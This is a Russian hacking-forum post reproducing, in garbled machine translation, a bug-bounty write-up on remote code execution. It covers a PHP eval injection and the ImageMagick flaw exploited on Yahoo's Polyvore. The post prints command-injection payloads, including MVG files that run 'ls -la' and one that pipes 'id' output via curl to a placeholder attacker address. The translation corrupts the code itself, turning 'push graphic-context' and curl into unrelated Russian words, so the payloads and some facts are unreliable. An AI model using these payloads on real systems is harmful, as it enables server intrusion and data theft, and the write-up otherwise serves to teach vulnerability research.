JavaScript отключён. Для полноценно использования нашего сайта, пожалуйста, включите JavaScript в своём браузере.

Удаленное выполнение кода

Рапунцель · 2025-08-04T21:30:10+00:00

Удаленное выполнение кода происходит из-за встроенного кода, который интерпретируется и выполняется уязвимым приложением. Причиной этой уязвимости является вклад, который приложение использует без надлежащей фильтрации и обработки. Это может выглядеть следующим образом: 1 $ var = $ _GET ['page']; 2 eval ($ var); Здесь уязвимое приложение может использовать url index.php? Page = 1, однако, если пользователь введет index.php? page = 1; phpinfo (), приложение выполнило функцию phpinfo () и вернет приложение в свое приложение. RCA иногда используется для обозначения команды Инъекция, которую признает OWASP. Использование команды Внедрение, в соответствии с OWASP, уязвимое приложение выполняет случайные команды на хосте операционной системы. Опять же, это стало возможным благодаря отсутствию обработки и проверки потребителем введение текста, что приводит к тому, что вклад операционной системы выпоняется в команду. Например, в PHP это может быть связано с тем, что пользовательский ввод будет включен в функцию system (). Удаленное выполнение кода 125 примеров 1. Polyvore ImageMagick Сложность: высокая URL: Polyvore.com (Приобретение Yahoo) Ссылка на отчет: http://nahamsec.com/exploiting-imagemagickon-yahoo/⁵⁰ Дата отчета: 5 мая 2016 г. Выплаченное награда: $ 2000 описание: ImageMagick - это программный пакет, обычно используется для обработки изображений, таких как обрезка, масштабирование и т. д. Imagick в PHP, Rmagick и скрепку для бумаг в Ruby, а также используемый имидж-макет в NodeJS этот пакет, и в апреле 2016 года было обнаружено много уязвимостей, одну из которых можно было использовать злоумышленники выполнять удаленный код, чтобы быть и концентрат. Короче говоря, ImageMagick не фильтровал должным образом полученные из имен файлов и в результате был использован позвонить в систему (). В конце концов, злоумышленник может встроить команду, такую как https://example.com "| ls" -la, и при получении они были выполнены. Пример с ImageMagick это будет выглядеть так: 1 конвертировать 'https://example.com' | ls '-la' out.png Интересно, что ImageMagick устанавливает собственный синтаксис для файлов Magick Vector Graphics (MVG), но это означает, что злоумышленник может создать файл podvi.mvg со следующим кодом: Nahttp: //nahamsec.com/exploiting-imagemagick-on-yahoo/ Удаленное выполнение кода 126 1 Нажмите графический контекст 2 viewbox 0 0 640 480 3 заполните 'url (https://example.com/image.jpg "| ls" -la)' 4 поп-графический контекст Затем они будут переданы в библиотеку и, если сайт уязвим, код запустить и список файлов в каталоге будет отображаться. Зная об этом, тесты Бена Садейпосура куплены на Yahoo Сервисы Polyvore этой уязвимости. Как написано в вашем блоге, Бен сначала проверяет уязвимость локальной машины к которому он имел доступ, чтобы подтвердить, что файл MVG работает правильно. Вот код, который он использовал: 1 Нажмите графический контекст 2 viewbox 0 0 640 480 3 изображения более 0,0 0,0 'https://127.0.0.1/x.php?x='id | вылечить \ 4 л http: // SOMEIPADDRESS: 8080 / -d @ -> / dev / null " 5 поп графический контекст Здесь вы можете увидеть, что он использует библиотеку cURL, достичь SOMEIPADDRESS (изменить это IP-адрес затронутого сервера). В случае успеха, вы должны получил следующий ответ: Бен Sadeghipour ImageMagick тестовый сервер ответ Помимо Бен посетил Поливор, загружая изображение как Аватар и получил следующий ответ от сервера: Удаленное выполнение кода 127 Ben Sadeghipour Polyvore ImageMagick ответ выводы Чтение - это большая часть успешного взлома включает в себя чтение программных уязвимостей и общих уязвимостей и воздействий (CVE Индецфикоров). Знание прошлых уязвимостей может помочь вам при обнаружении объектов, которые не могут быть обновлены. В этом случае Yahoo взломал сервер, но это сделано правильно (я не смог найти его подробности этого). В результате знание, что в ImageMagick есть уязвимость, она позволяет Бен выбрал эту программу в качестве цели и в конечном итоге заработать $ 2000 вознаграждение. Будьте в курсе вышедших CVE и следите за ПО, которое используется сайтами и Удаленное выполнение кода 128 которое может быть устаревшим, т.к. скорее всего оно может быть уязвимым /читачок ру/

Автор темы Рапунцель
Дата начала Вторник в 00:30
Теги

удаленное выполнение кода

Безопасный и надёжный обменник криптовалют на наличные — Insight

Рапунцель

Premium

15 Янв 2019

Для ответа нужно войти/зарегистрироваться

Bluesky LinkedIn

Форум
Вконтакте
Взлом | Гайды | Баги для Вконтакте

На данном сайте используются cookie-файлы, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших cookie-файлов.

Принять Узнать больше.…

Верх